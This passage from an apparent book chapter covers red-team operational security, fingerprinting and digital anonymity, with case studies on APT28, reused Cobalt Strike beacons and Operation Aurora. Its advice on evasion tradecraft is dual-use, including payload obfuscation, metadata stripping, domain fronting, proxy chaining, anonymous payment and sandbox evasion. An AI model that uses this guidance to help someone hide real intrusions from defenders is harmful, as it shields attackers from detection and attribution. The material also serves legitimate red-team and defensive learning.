time event correlation capabilities, cross-referencing incoming signals with established ToC
databases.

But how exactly do these indicators leak out from a Red Team engagement? Often, it stems
from the use of stock or default payloads. Public tools like Metasploit or Cobalt Strike come
preconfigured for ease of use—but when used as-is, they exhibit static signatures that are
easily recognized. Instead of modifying these payloads, many teams deploy them unchanged,
leading to swift detection. Recompiling with unique parameters or employing obfuscation
layers can significantly reduce this risk. TLS certificates represent another overlooked area.
Self-signed certificates generated by default settings are universally recognized as malicious
or suspicious by enterprise defenses. Cloning legitimate certificates from real domains, while
requiring effort, adds an additional layer of legitimacy that default certs cannot offer.

DNS records also play a crucial role in exposure. Domains pointing to IPs known for
malicious activity or reused CNAME entries become searchable in passive DNS databases.
Employing wildcard domains, rotating IPs regularly, and using short TTLs (Time To Live)
can mitigate this to a large extent. Even endpoint artifacts such as scripts or tools dropped
in common directories can trigger alerts. For instance, storing payloads in % TEMP% or
% APPDATA % without cleanup guarantees detection on systems that log file events or moni-
tor process behavior. Instead, using in-memory execution and ensuring complete cleanup
post-operation minimizes residual evidence. Metadata, as mentioned, is an area that requires
specific attention. Documents created in Microsoft Office, Adobe Acrobat, or similar tools
embed authorship information, timestamps, revision histories, and even GPS data in some
cases. Tools like exiftool should become a Red Teamer’s default utility to sanitize files before
delivery.

Forward-thinking Red Teams adopt a proactive stance by integrating adversary simulation
into their QA cycles. Platforms such as Any.Run or CAPEv2 provide a sandboxed environ-
ment where teams can observe how their payloads behave under forensic scrutiny. These
environments simulate the real-world detection stack, offering insights into how likely a
payload is to trigger alarms. Infrastructure hygiene is another best practice that cannot be
ignored. Each engagement should be treated as a clean slate, with no overlap in IPs, domain
names, or digital certificates. This not only preserves the stealth of the current operation but
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ensures that if one campaign is exposed, it does not compromise others. Equally important
is telemetry awareness, an understanding of what the target organization sees and logs. Red
Teams must anticipate the scope of EDR tools, DNS logging, proxy-level inspections, and
SIEM coverage. Without this awareness, even well-crafted attacks may leave a digital trail
too tempting for defenders to ignore.

Some Red Teams even embrace deception as a strategy. Planting false indicators, generat-
ing decoy traffic, or crafting payloads that simulate known malware families can serve to
mislead defenders and buy time. However, these tactics must be executed carefully, lest they
be identified as noise rather than genuine threat behavior.

One notable example highlights the dangers of carelessness. A Red Team engaged with
multiple clients reused the domain client-engagement-beacon[.]Jcom across several cam-
paigns. This domain appeared in OSINT platforms, passive DNS records, and threat intel-
ligence feeds. Analysts correlated its use across time and target verticals, eventually linking
separate operations back to the same team. The domain was added to multiple blacklists,
leading to its blocking by numerous enterprise proxy servers. What started as a shortcut
turned into a strategic liability. This serves as a cautionary tale for Red Team operators: every
digital action creates a trail. The extent to which that trail is discoverable depends entirely on
the precision, customization, and thoughtfulness of the team behind the operation. The more
a Red Team relies on stock tools, default configurations, and previously used infrastructure,
the easier it becomes to classify their actions as known threats.

True professionalism in red teaming lies not merely in the technical execution of attacks,
but in the discipline and foresight that ensures operations remain untraceable, or at the very
least, uncorrelated. While generating IOCs is sometimes unavoidable in today’s telemetry-
rich environments, understanding how to manipulate, control, and even weaponize these
indicators distinguishes the elite from the rest. In the broader context of the Dark Web, where
OpSec and anonymity are often the difference between freedom and incarceration, these les-
sons become doubly significant. Threat actors, cybercriminals, and intelligence operatives all
engage in the digital equivalent of chess, each move considered, each response anticipated.
Red Teams operating in the clear must adopt this same mindset. After all, if defenders can see
your footprints before you enter the building, you’ve already lost the game.

5.7 ACCIDENTAL FINGERPRINT

In the intricate world of offensive cyber operations, the success of an operation often hinges
not on the strength of the payload or the sophistication of the tools, but on the ability to
remain unseen, unnoticed amidst the digital noise. This pursuit of invisibility forms the very
foundation of operational security (OpSec) and anonymity, which are not merely auxiliary
concerns but central tenets of any clandestine engagement. However, the pursuit is often
hindered by an invisible adversary: operational fingerprinting. Unlike the more overt signs of
compromise that security professionals watch for, operational fingerprints are subtle, often
unintentionally embedded within tooling, infrastructure, or behavioral patterns. These traces,
though often innocuous in isolation, can collectively expose the identity of a threat actor or
link seemingly disparate campaigns to a common origin.

Operational fingerprints refer to those unique signatures, structural, behavioral, or environ-
mental, that naturally arise when certain tools are used repeatedly, infrastructure is deployed
carelessly, or automation is handled without deliberate variability. In Red Teaming scenarios,
the exposure of such fingerprints rarely stems from malice or incompetence. Rather, they
are the byproduct of habitual workflows, consistent compiler settings, reused domains, or
predictable beaconing intervals. The danger lies in the fact that these residual imprints offer
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defenders a thread to pull. Once discovered, even heavily obfuscated malware, diversified
tactics, or varied procedural steps may fail to mask the lineage of an operation.

Understanding what constitutes a fingerprint in this context is essential. At its core, a fin-
gerprint is any characteristic that allows a defender to connect dots linking multiple events,
samples, or signals to the same threat actor or campaign. These can take many forms. At the
binary level, the structure of an executable, such as its PE headers, section names, or embed-
ded paths, can act as identifiers. The compilation process may inadvertently embed meta-
data, including PDB (Program Database) paths, timestamps, or even linker preferences, all
of which can betray the origin of the code. On the infrastructure side, network-related clues
such as Autonomous System Numbers (ASNs), TLS certificates, DNS records, and domain
naming conventions can create recognizable patterns. Even behavior such as how often a
beacon pings back, what jitter settings it uses, or how payloads execute can serve as a behav-
ioral fingerprint.

One of the most common culprits of fingerprint exposure comes in the form of payload fin-
gerprints. These are indicators embedded in the very executables or shellcode that attackers
deploy. For example, identical compilation timestamps across multiple payloads, especially
when left in their default settings, can immediately create a cluster of related binaries. If the
same shellcode is reused across campaigns, static detection tools can begin identifying these
with ease. Additionally, encrypted payloads that use low-entropy methods, like predictable
XOR keys, can be flagged due to their telltale lack of randomness. Compiler artifacts, such as
hardcoded paths or version-specific metadata, often remain intact unless explicitly removed.

To detect such payload-based fingerprints, defenders leverage tools and techniques like
YARA rules designed to match specific byte patterns, strings, or section names and fuzzy
hashing algorithms such as TLSH or ssdeep, which help correlate binaries with high similar-
ity across operations. Antivirus sandboxes further reinforce these detections by providing
behavior profiles that remain eerily consistent across differently named payloads. As a coun-
termeasure, offensive teams must employ a variety of defensive development practices: com-
piling binaries with randomized timestamps, stripping unnecessary debug information like
PDB paths, and injecting entropy at various layers of the payload. Polymorphic techniques,
involving crypters and packers that alter the structure of a binary while preserving function-
ality, also provide a layer of variability that can confound static detectors.

Infrastructure, particularly in the form of hostnames and domain names, can be another
major source of fingerprinting. Domains registered with predictable patterns, such as includ-
ing internal code names, client identifiers, or Red Team references, become easily searchable
within passive DNS datasets. Even the use of popular dynamic DNS services or free domain
providers adds to the risk, as these services are often monitored and flagged in threat intel-
ligence feeds. Furthermore, when VPS providers are used without obfuscation, reverse DNS
records may point back to recognizable patterns, such as revealing the hosting provider or
region. For instance, if multiple engagements use domains tied to a specific naming conven-
tion or provider, defenders can cluster them with relative ease.

To mitigate domain-based fingerprints, operators must adopt a different approach. First
and foremost, domain names should be devoid of semantic meaning; random charac-
ter strings offer better anonymity than anything readable. The use of private, paid regis-
trars that offer anonymity services can further cloak ownership, especially when combined
with WHOIS obfuscation and anonymized payment methods. PTR (reverse DNS) records
should be stripped or modified to avoid inadvertent disclosures about the underlying server.
Additionally, deploying wildcard DNS with fast TTLs and rapid rotation helps maintain a
dynamic presence, making long-term tracking significantly more difficult.

Moving further down the infrastructure stack, network-level fingerprints, particu-
larly those associated with ASNs or IP address blocks, represent another avenue through
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which operations can be unraveled. Many Red Teams rely on VPS providers such as OVH,
DigitalOcean, or Vultr due to convenience and pricing. However, these providers are heavily
monitored and are frequently associated with offensive tooling, making them highly visible
in threat intelligence datasets. If all redirectors or command-and-control servers are hosted
within the same subnet or ASN, Blue Teams can quickly correlate and flag the entire opera-
tion. Similarly, hosting all infrastructure within a single geography, such as multiple servers
in Germany using Hetzner, eliminates diversity and increases the likelihood of correlation.

Detecting these network-level fingerprints involves tools that enrich IP or ASN data.
Services like MaxMind or Team Cymru provide contextual information on IP ranges, while
NetFlow and DNS telemetry highlight abnormal concentrations of infrastructure. Threat
hunters also use tools like Farsight Security and Shodan to monitor exposed services and
identify patterns. For operators looking to obscure such signals, infrastructure diversification
is crucial. This means varying IP allocations across ASNs, rotating providers between engage-
ments, and mixing in carefully vetted residential proxies or edge nodes. Traffic obfuscation
methods, including CDN masking and domain fronting, add further layers of complexity,
making direct attribution or clustering far more difficult. Most importantly, redirectors and
VPN exit points should never be reused across clients or campaigns.

Mistakes, while often minor in appearance, can have disproportionate consequences. A
payload compiled without stripping timestamps may result in multiple EXE files sharing the
same build metadata—creating an immediate cluster for defenders. A domain labeled “client-
engagement-c2” or similar can be found within minutes in passive DNS lookups. A group
of redirectors all spun up on the same cloud provider will stand out when threat analysts
examine their ASN metadata. Even something as subtle as reusing a self-signed TLS certifi-
cate can be devastating. TLS fingerprints like JA3 hashes, combined with public certificate
transparency logs, offer defenders a clear trail. Once such an element is identified, every piece
of infrastructure using that certificate can be flagged, sandboxed, or blacklisted.

A cautionary tale from 2021 illustrates how a small lapse can compromise months of
preparation. A Red Team reused a TLS certificate issued by Let’s Encrypt across three client
campaigns. That certificate’s SHA1 hash was indexed by public search engines like Censys.
Blue teams noticed the overlap, cross-referenced the JA3 hash, and were able to blacklist all
servers associated with it—before a single exploit had even been deployed. The breach of
OpSec in this instance didn’t stem from malicious code or overt actions, but from a reused
piece of infrastructure metadata.

To truly embrace anonymity, operators must be proactive. Techniques such as entropy
injection during binary generation, altering timestamps, section labels, or embedded strings
are vital. Infrastructure must be treated as disposable: domains, IPs, and ASNs should change
between campaigns. Behavioral patterns must also be randomized; beaconing intervals, sleep
timers, and communication styles should vary to mimic natural user traffic. Before deploying
any tool or infrastructure, operators should simulate detection by scanning their own assets
using tools like Shodan, Censys, or RiskIQ. Dedicated sandbox environments that emu-
late Blue Team detection pipelines can help identify issues before defenders do. Perhaps the
most important lesson for any operator is this: everything is a potential fingerprint. Whether
it’s a certificate, an IP address, a binary timestamp, or a subdomain string, any artifact left
untouched can become a liability. No matter how advanced your exploitation techniques or
payload sophistication, the smallest trace, if left unaddressed, can unravel your entire opera-
tion. The goal is not merely to avoid detection in the moment but to avoid correlation and
attribution over time. Every element used must be treated as expendable, anonymized, and
unpredictable. An operation’s success lies not just in what it achieves, but in whether it can
ever be traced back.
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In the evolving battlefield of cyber operations, OpSec and anonymity are no longer optional;
they are the linchpins of survivability. Fingerprint awareness is not just a best practice; it is
a necessary mindset. The rise of detection capabilities among defenders, fueled by machine
learning, threat intelligence, and metadata correlation, demands that Red Teams evolve with
equal vigilance. Victory belongs not to those who strike the hardest, but to those who disap-
pear without a trace.

5.8 DIGITALANONYMITY

Digital anonymity, at its core, is not simply a matter of concealing one’s identity; it is an ongo-
ing practice of blending into the chaos of cyberspace without leaving behind the breadcrumbs
of attribution. In the world of Red Team operations and clandestine engagements on the
Dark Web, anonymity is not a single tool or method but a composite framework of technical
discipline, behavioral disguise, and operational consistency. Those who operate in high-risk
digital environments understand that without a robust anonymity posture, even the most well-
crafted cyber campaigns can collapse under the weight of a simple oversight, an unmasked IP
address, an unspoofed timezone, or an innocuous DNS request sent through a home router.

Contrary to popular belief, anonymity is not guaranteed by merely flipping on a VPN or
routing traffic through Tor. These tools, while powerful, are often misunderstood and misap-
plied. The result is a dangerous illusion of privacy that fails to protect the operator when it
matters most. VPN, for instance, are often the first line of defense for aspiring cyber opera-
tors or privacy enthusiasts. They function by encrypting traffic and routing it through an
intermediary server, effectively masking the origin IP from the destination server. However,
many users do not realize that the very server they are trusting to anonymize their presence
might be a point of exposure in itself. A significant number of commercial VPN providers use
cloud hosting infrastructure like DigitalOcean, OVH, or M247 that are closely monitored by
threat intelligence platforms. This means that while your real IP may be hidden, your traffic
pattern might still stand out like a beacon in the night, especially if that VPN IP has been
previously linked to malicious activity.

Furthermore, VPN configurations often fall short due to improper setup. DNS leaks, which
occur when your device continues to resolve domain names through your ISP’s servers rather
than through the VPN tunnel, are among the most common pitfalls. This form of leakage
silently betrays the user’s real-world location despite the encryption of data packets. Split
tunneling, a feature that allows some traffic to bypass the VPN, while useful in benign con-
texts, becomes a major vulnerability in offensive security operations. Worse yet, even if your
VPN is properly configured, if you used your personal credit card or traceable email address
during signup, you may have already compromised your anonymity before the first packet
was ever routed. To counteract such issues, professionals often rely on anonymous payment
methods such as privacy-focused cryptocurrencies or prepaid cards obtained through trusted
third parties, minimizing the trail left behind during account registration.

Beyond VPN, the Tor network (The Onion Router) offers a distinct model of anonymity
that has become synonymous with the Dark Web itself. Tor works by relaying your traf-
fic through a series of encrypted nodes, each knowing only its immediate predecessor and
successor, thereby anonymizing both the source and destination of internet requests. This
layered approach, often referred to as onion routing, significantly increases the difficulty of
tracing back activity to a specific IP address. Tor’s effectiveness lies not just in its encryption,
but in the architecture of its routing protocol, which separates identifying information across
various hops.
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Despite its design brilliance, Tor is not without limitations. It suffers from high latency due
to its multiple relays, making it impractical for certain time-sensitive or bandwidth-heavy
operations. Moreover, exit nodes (the final relay) in the chain are public and easily black-
listed. Many websites and cloud services now proactively block Tor traffic or subject it to
intense scrutiny. Running command-and-control (C2) frameworks over Tor is often unreli-
able because the network’s inherent instability can interrupt beaconing intervals and disrupt
persistent connections. That said, Tor still remains a crucial tool for tasks like reconnaissance,
persona-building, and accessing .onion services, where its anonymity shines without the need
for speed or reliability.

To navigate such constraints, skilled operators avoid deploying payloads or delivering mal-
ware over Tor unless they fully control the .onion infrastructure. Even then, care must be
taken to use pluggable transports or bridges, obfuscation layers that mask the very usage of
Tor from detection systems like DPI or national firewalls. In repressive regimes, these tools
often serve as lifelines for activists and whistleblowers seeking to bypass censorship, but for
a Red Team, they serve a dual purpose: evasion and preservation of tradecraft.

Proxies, meanwhile, offer a different flavor of anonymity. Acting as middlemen between
the client and the destination, proxies can be configured to route requests with or without
encryption. HTTP proxies, the most basic kind, simply relay web requests, often without
securing the contents. SOCKSS5 proxies, on the other hand, provide more flexibility and
are protocol-agnostic, handling various types of traffic, including email, torrents, and web
browsing. Residential proxies that use IPs assigned to home users rather than data centers are
especially valuable in blending with normal user traffic. Their ability to rotate IPs dynami-
cally per session or request offers both operational stealth and geo-location masking.

However, proxies bring their own challenges. Misconfigured setups can easily leak real IP
addresses, especially if browser or application settings do not properly honor proxy routing.
Free proxy services, while tempting, are notorious for being unreliable or, worse, actively
monitored. Many are honeypots designed to capture and analyze traffic for malicious or
suspicious behavior. For these reasons, seasoned professionals invest in premium, private
proxy services that offer authentication, rotating IP pools, and adherence to strict no-logging
policies.

Where anonymity truly begins to reach operational maturity is in chaining multiple meth-
ods together, a technique known as multi-hop architecture. In this approach, layers of ano-
nymizing technologies are combined in a sequence to dilute the chances of exposure at any
single point. One might, for example, start with a VPN tunnel, route that traffic through Tor,
and finally connect through a residential proxy to the target infrastructure. Alternatively, an
operator may use a chain like proxy = VPN — cloud-based VPS — operational endpoint. The
key objective in such chains is compartmentalization. Each hop acts as a buffer, a dead-end
for anyone attempting to trace traffic back to the original source.

But chaining is not a silver bullet either. Without careful planning and testing, traffic
can still leak during early hops, particularly DNS lookups or WebRTC queries, which can
betray the origin IP before the full chain is established. Maintaining such infrastructure is
also resource-intensive, requiring detailed documentation of asset purpose, lease duration,
and provider policies. Additionally, increased latency and routing complexity can impair the
effectiveness of command-and-control communications or payload delivery.

What is often forgotten, even by experienced practitioners, is the human element in ano-
nymity. Behavioral patterns can betray identity just as surely as a leaked IP address. For
instance, a browser that loads fonts in a particular order, responds to JavaScript canvas
queries in a unique way, or exposes system locale settings can all become finger-printable
artifacts. Advanced web trackers now use these indicators, collectively known as browser
fingerprinting, to distinguish users even when IP addresses change. Similarly, TLS handshake
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parameters such as JA3 or JA3S fingerprints (derived from SSL/TLS negotiation patterns) can
identify unique clients across sessions, revealing the use of specific libraries or custom clients.

Time zone, language preference, and screen resolution, all minor metadata points, can form a
composite behavioral fingerprint. Even something as subtle as typing cadence in phishing cam-
paigns can be used to correlate activity across separate engagements. These elements together
make up what is known as behavioral anonymity, and it is perhaps the most overlooked layer
in the anonymity stack. To counter these leaks, operators must use hardened browsers like
Librewolf or Firefox configured with the arkenfox user.js profile, which strips away track-
ing features and randomizes fingerprinting vectors. Virtual machines configured with spoofed
locales, randomized screen sizes, and anonymized TLS libraries offer additional shielding.

The most effective operators go one step further and automate interaction entirely. By
using scripting frameworks to simulate typing, clicking, or browsing, they remove human
error and behavioral patterns from the equation. This also ensures repeatability, a critical
factor in operational testing and engagement replay.

To illustrate how fragile anonymity can be when mishandled, consider the story of a Red
Team operator who, while setting up their infrastructure, accessed a newly registered com-
mand-and-control domain using their home ISP. This lone DNS request, sent out during a
routine verification, was logged by a passive DNS monitoring system. Months later, when
the actual campaign went live and defenders began reverse engineering the C2 infrastructure,
that DNS record tied everything back to the operator’s real-world IP. A single misstep, months
prior to the engagement, unraveled the entire operation. This anecdote serves as a sobering
reminder that anonymity is not a switch to be turned on or off. It is a discipline, a mind-
set, and a rigorously layered process. Each component, whether it’s the network route, the
browser settings, the payment method, or the user behavior, must be hardened independently
and tested regularly. More importantly, operators must avoid the dangerous assumption that
one layer of protection is sufficient. The true strength of anonymity lies in its redundancy. A
failure at any single point should not expose the operator entirely, and that level of resilience
only comes through layered defense.

5.9 USE CASES

In the world of clandestine operations, whether military-grade cyber espionage or high-end
penetration testing engagements, the strength of your security posture often lies not in your
tools but in your habits. Operational Security or OpSec, as it’s colloquially known, has long
been hailed as a cornerstone of covert operations. But it is also one of the most misunder-
stood and underestimated disciplines in cyber operations. Despite robust toolchains, deep
resources, and advanced methodologies, real-world actors continue to fall prey to opera-
tional oversights. These aren’t rookie mistakes made by script kiddies; they are strategic
errors committed by nation-state-sponsored groups and elite Red Teams working on behalf
of Fortune 500 companies. That fact alone should be a wake-up call.

Understanding the operational failures of others is not an exercise in criticism. It is a study
in foresight. Each incident reveals a weak link in the chain, an overlooked pattern, a predict-
able behavior, or a misconfigured asset that eventually betrayed the operation. These are the
moments where anonymity slipped, infrastructure gave away the plot, and metadata leaked
just enough to unmask entire campaigns.

What follows is not a hypothetical discussion of what might go wrong. It’s a forensic dis-
section of what did go wrong, real-world breaches with tangible consequences. By mapping
each incident to specific OpSec failure domains, we can identify patterns, anticipate threats,
and ultimately design smarter, more resilient operational architectures.
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Case |1:APT28 (Fancy Bear)—DNS,WHOIS, and certificate
transparency exposure

APT28, widely believed to operate under the auspices of the Russian GRU (Main Intelligence
Directorate), has long been one of the most prolific and sophisticated state-sponsored
Advanced Persistent Threat (APT) groups in operation. Known for high-profile intrusions tar-
geting NATO, government agencies, journalists, and election infrastructure, their tradecraft
reflects both deep capability and, paradoxically, some glaring oversights. What brought them
under the microscope wasn’t a zero-day vulnerability or a bold intrusion; it was a series of
subtle OpSec missteps that left a breadcrumb trail for analysts to follow. Over time, these
patterns coalesced into a damning map of operational exposure.

APT28’ downfall in several campaigns wasn’t due to a single blunder, but rather the
accumulation of small, seemingly innocuous patterns that compounded into a full-blown
attribution nightmare. One of their critical errors involved the reuse of TLS certificates
across multiple domains. TLS certificates, those digital keys that secure HTTPS communica-
tion, are often perceived as mundane infrastructure items. But when they are issued by the
same Certificate Authority to multiple domains controlled by the same threat actor, they
become a liability. Analysts were able to detect and cluster these reused certificates, linking
otherwise isolated domains into cohesive infrastructure clusters. Another exposed nerve was
their domain registration strategy. APT28 often employed human-readable subdomains that
closely mimicked legitimate services. One such example was outlook.office365-support|.]
com. While this looked plausible at first glance, closer inspection revealed a pattern: similar
naming conventions were reused across campaigns. This naming predictability made it easier
for threat hunters to pivot from one malicious domain to another using tools like passive
DNS and WHOIS correlation.

Perhaps the most critical lapse was the lack of WHOIS obfuscation. In many cases, APT28
domains were registered without privacy protection. Even when pseudonymous data was
used, it was reused across multiple assets, offering analysts a connective tissue to map out
their infrastructure and expose linkages that should have remained hidden.

Three key threat intelligence providers, FireEye, CrowdStrike, and RiskIQ, played major
roles in reverse-engineering APT28’s infrastructure through meticulous passive collection
and correlation.

e Passive DNS Monitoring: Historical records of domain resolutions allowed analysts
to track which IPs the domains resolved to over time. When multiple suspect domains
pointed to the same IP block or shifted together, it suggested common ownership.

e WHOIS Correlation: WHOIS records were used to find domains with similar registrant
data, email patterns, or registrar fingerprints. Even partial matches were enough to
establish probable links.

o Certificate Transparency Logs: These publicly available logs of SSL/TLS certificates
issued by trusted Certificate Authorities became a treasure trove. By identifying certifi-
cates issued to one malicious domain, analysts could enumerate other domains sharing
the same cert fingerprint, effectively doxing entire clusters of APT28 infrastructure.

What made this methodology effective wasn’t any single tool, but the interplay between
seemingly disparate data points. When certificate reuse was observed across domains with
similar WHOIS data, and those domains all used subdomains mimicking Microsoft services,
the pattern became too cohesive to ignore.

Categorizing APT28’s failures within the broader framework of OpSec domains:
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¢ Infrastructure Hygiene
e Failure: Reused TLS certificates, IP ranges, and naming conventions across
campaigns.
Impact: Enabled infrastructure clustering and exposed network reach.
Lesson: Always assume adversaries have access to global visibility across CT logs
and passive DNS. Never reuse identifiers across operations.
e Attribution Surface
* Failure: Predictable domain patterns and unprotected WHOIS registrations.
¢ Impact: Allowed correlation of multiple campaigns to a single actor.
e Lesson: Attribution is not always based on malware or TTPs—it can stem from
infrastructure carelessness.
¢ Behavioral Fingerprinting
e Failure: Use of similar campaign structures, naming logic, and asset deployment
strategies.
e Impact: Enabled threat hunters to anticipate future domains and block proactively.
e Lesson: Even if your infrastructure is technically isolated, your behaviors may still
betray you.

Once the infrastructure was exposed, security researchers began sinkholing domains, a tech-
nique where control of a domain is transferred or mimicked to observe traffic, often redirect-
ing it to non-malicious IPs for analysis. This tactic allowed defenders to monitor infected
systems still beaconing out to old C2 addresses, providing a glimpse into the scope and lon-
gevity of APT28’s access. In some cases, entire swaths of APT28 infrastructure were retroac-
tively mapped out across campaigns spanning years. This not only facilitated defensive action
but also enabled governmental entities to assign attribution with high confidence, a rare and
powerful outcome in the fog of cyber warfare. Eventually, APT28 was publicly linked to
Russia’s GRU, and the exposure of their tradecraft became a case study in how infrastructure
negligence can unravel even the most sophisticated operations.

It would be easy to dismiss APT28’s lapses as the consequence of large-scale operations
becoming unwieldy. But similar failures occur in commercial Red Team engagements, where
security professionals, ironically, fall into the same traps they’re trained to exploit. In one
case, a Red Team’s C2 server used a reused self-signed TLS certificate across different client
engagements. A vigilant Blue Team analyst noticed this when reviewing certificate chains in
Wireshark. What began as an isolated detection quickly became a critical flaw, exposing mul-
tiple simulated campaigns and undermining trust in the Red Team’s OpSec.

Another recurring error is the use of predictable domain logic for phishing campaigns, like
[clientname]-security[.]Jcom or mfa-support[.|net. While expedient, these patterns are easy
to fingerprint, and if reused across engagements, they offer a direct path for detection and
blacklisting. Even the use of cloud infrastructure (AWS, Azure, GCP), while attractive for
anonymity, can backfire when provisioning scripts or metadata tags aren’t scrubbed. Analysts
have traced Red Team infrastructure back to individual consultants based on internal nam-
ing schemes embedded within VM instances or storage buckets. The takeaway? OpSec isn’t
a checklist. It’s a discipline. And like any discipline, it requires constant reinforcement, peer
review, and evolution. The moment you assume your adversary won’t notice something is
often the moment they do.

Case 2: Cobalt Strike beacon reuse in commercial red teams

Red teams are tasked with emulating real-world adversaries to test an organization’s defenses.
For this, they deploy beacons, small payloads that allow for command-and-control (C2)
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communication back to a Red Team server. These beacons can be highly malleable, with
configuration options that control how they blend into network traffic. However, the default
configurations provided with Cobalt Strike, especially the default HTTPS and HTTP mal-
leable C2 profiles, are often used without meaningful customization. While this may save
time, it also exposes Red Team operations to the same detection signatures that Blue Teams
have come to rely upon for identifying actual cyber threats.

Let’s explore a typical scenario: a well-established security consultancy is conducting a
Red Team assessment for a financial services firm. The consultancy decides to use Cobalt
Strike, leveraging its mature capabilities for lateral movement, privilege escalation, and data
exfiltration simulation. Under pressure from a tight timeline and budget constraints, the team
reuses an internal beacon profile that has been deployed across several prior engagements.
This profile includes default HTTP GET and POST URIs, standard TLS fingerprinting, and
no meaningful variation in timing or packet sizes. The traffic it generates, while functional,
is predictable.

The problem arises when the deployed beacons trigger alerts in the target organization’s
security operations center (SOC). Modern Blue Teams equipped with robust network detec-
tion and response (NDR) tools from vendors like Elastic and Red Canary can rapidly cor-
relate suspicious activity through shared indicators of compromise (IOCs). Publicly available
Sigma rules, YARA signatures, and TLS fingerprint databases include hash values and behav-
ioral patterns that match these reused Cobalt Strike profiles. One of the most common indi-
cators is the JA3 hash, a method for fingerprinting SSL/TLS clients based on the structure
of their handshake. In this case, the reused beacon has a JA3 fingerprint that matches a
known APT group’s traffic profile, specifically one from a leaked cracked version of Cobalt
Strike frequently used in real-world cyberattacks. What was meant to be a benign simulation
suddenly raises red flags that cause internal panic within the client organization. The SOC,
interpreting the signals as an active threat, escalates the issue to incident response. Logs are
collected, network traffic is quarantined, and the company’s legal team begins documenting
the event under the assumption of a real breach. In the meantime, the Red Team, unaware of
the chaos, continues its campaign. Only later do both parties realize the activity was part of
the scheduled Red Team assessment. But the damage has already begun to set in.

This situation is not an isolated anomaly; it’s increasingly common in the cybersecurity
consulting industry. The failure to customize beacon traffic beyond minimal adjustments
leads to early detection, which not only invalidates the Red Team’s objectives but also causes
undue alarm. Worse still, when the beacon’s fingerprint matches that of known malware,
it leads to false attribution. Blue teams or threat intelligence platforms may flag the activ-
ity as stemming from a known threat actor. In environments where detection is automated
through machine learning-enhanced security platforms, this misidentification can ripple
through global intelligence feeds, tagging the client’s network with a risk reputation it does
not deserve.

Reputational harm extends beyond the client. Red team consultancies risk undermining
their credibility. If multiple clients see similar outcomes, early detection, threat escalations,
and operational disruption, the Red Team’s methodologies come into question. Moreover,
the consulting firm may find itself blacklisted from engagements in regulated industries like
finance or healthcare, where the cost of false positives is exceptionally high.

The underlying failure points are clear but often overlooked:

e Default Profiles: The use of Cobalt Strike’s out-of-the-box HTTP/S profiles is a criti-
cal mistake. These profiles are well-documented in public threat databases. The lack
of variability in parameters such as URI length, packet timing, or User-Agent strings
makes the traffic highly recognizable.
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o Static Traffic Patterns: Even when teams attempt basic customization, they often neglect
to randomize aspects of network communication such as beacon intervals, jitter, or
domain fronting techniques. As a result, traffic maintains a uniform shape that stands
out amidst the randomness of legitimate web activity.

¢ Shared Compilation Environments: Many Red Teams compile their payloads in a cen-
tral, shared virtual machine. While efficient, this introduces consistency in binary sig-
natures, the same file metadata, PE headers, timestamps, and entropy patterns across
clients. Over time, antivirus engines and EDR systems learn to flag these repeated arti-
facts, regardless of the client environment.

From a defensive perspective, the advancement of behavioral analytics and threat-hunting
tools has made this problem even more acute. Tools like Zeek, Suricata, and commercial
threat detection platforms ingest JA3 and JA3S hashes, correlate them with observed threat
campaigns, and trigger alerts when known beaconing behavior is detected. If a Red Team’s
beacon mimics the handshake of a previously identified threat group, the assumption is that
it is the threat group. This brings us to a broader concern: the weaponization of laziness.
Red teams, by failing to modify and diversify their tooling, inadvertently create overlap with
actual adversaries. This leads to operational noise for defenders, dilutes the effectiveness of
adversary simulation exercises, and creates unnecessary risk for clients. When Red Team
activities trigger global alerts or get logged in centralized SIEMs shared with government or
industry threat intelligence programs, the consequences can reach far beyond the intended
scope of the engagement.

The solution begins with genuine, deep-layered customization. This includes building
unique malleable C2 profiles that alter HTTP headers, use randomized URI structures, and
vary TLS parameters to evade JA3 fingerprinting. Teams should also avoid reusing build
environments and implement compiler diversity to reduce the repeatability of file-level indi-
cators. Techniques such as domain generation algorithms (DGAs), sandbox evasion, and
time-based traffic patterns can help mimic real adversary behavior without overlapping with
known commodity malware. Furthermore, there needs to be a cultural shift in how Red
Teams approach their toolkit. Red team leaders must invest time in building internal libraries
of beacon profiles that are updated frequently and shared carefully within the team. Training
sessions should focus on threat modeling, with emphasis on mimicry without duplication.
That is, simulate realistic threat behavior without copying known threat indicators directly.
Additionally, Red Teams should coordinate more closely with Blue Teams during pre-engage-
ment and post-engagement phases to ensure detections are understood in context and do not
escalate beyond the intended scope.

For clients, it’s essential to include beacon diversity and C2 customization as part of the
Red Team’s statement of work (SOW). Asking specific questions about how payloads will
be constructed, what JA3 profiles they will avoid, and whether any tools are reused across
clients can protect organizations from unintended attribution. Legal and compliance teams
should also be looped in to evaluate the reputational risk of potential overlaps with known
threat actors. In the end, Red Teaming is about more than just breaching defenses; it is about
realism. When Red Teams cut corners, they aren’t just risking early detection; they are erod-
ing the trust and efficacy of the entire security exercise. The ability to blend into the noise
of real-world traffic, to simulate advanced threats without becoming indistinguishable from
them, is the mark of a mature and responsible offensive security team.

This case study, grounded in observations from Red Canary, Elastic, and publicly acces-
sible detection rules, is a cautionary tale. It highlights the dangers of treating adversary simu-
lation as a repeatable formula rather than a dynamic, evolving craft. As defenders become
more sophisticated, so too must those who seek to test them.
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Case 3: Operation aurora (APT)—developer metadata leakage

In the world of cyber intrusion and digital espionage, it is often not just the tools or the
techniques that give away a threat actor’s identity, but it is the overlooked traces, the care-
less remnants left behind during the development or deployment of malicious payloads. One
of the most illustrative examples of this involves the inadvertent exposure of APT Program
Database (PDB) paths, build metadata, and debugging information within compiled binaries
discovered during threat intelligence operations focused on large-scale compromises of tech-
nology giants, including Google. These incidents uncovered not only the technical flaws in the
attackers’ operational security (OpSec) but also highlighted the broader systemic oversights
that made attribution faster and more precise than the threat actors might have anticipated.

At the heart of these exposures were PDB paths, normally used by developers during soft-
ware compilation to store symbol and debugging data that were inexplicably left intact in the
final payloads. These PDB strings serve no functional role in the actual operation of malware
when deployed, but they offer investigators a wealth of metadata that paints a picture of
where and how the malware was built. In this particular case, the paths embedded within the
payloads included directory names and usernames in Chinese script, immediately suggesting
the origin or at least the working environment of the attackers. These traces pointed toward
development environments localized for Chinese-speaking users and, more importantly,
revealed folder structures and user naming conventions that correlated with those previously
attributed to known APT groups operating out of China.

The failure here was multi-fold. First and most glaringly, the attackers had compiled their
payloads with debug symbols fully intact. This practice might be acceptable in an internal
testing environment, but it is a cardinal sin when preparing binaries for operational use in
hostile environments, especially against high-profile targets like global tech corporations.
Leaving debug symbols not only inflates the file size unnecessarily but also exposes the inter-
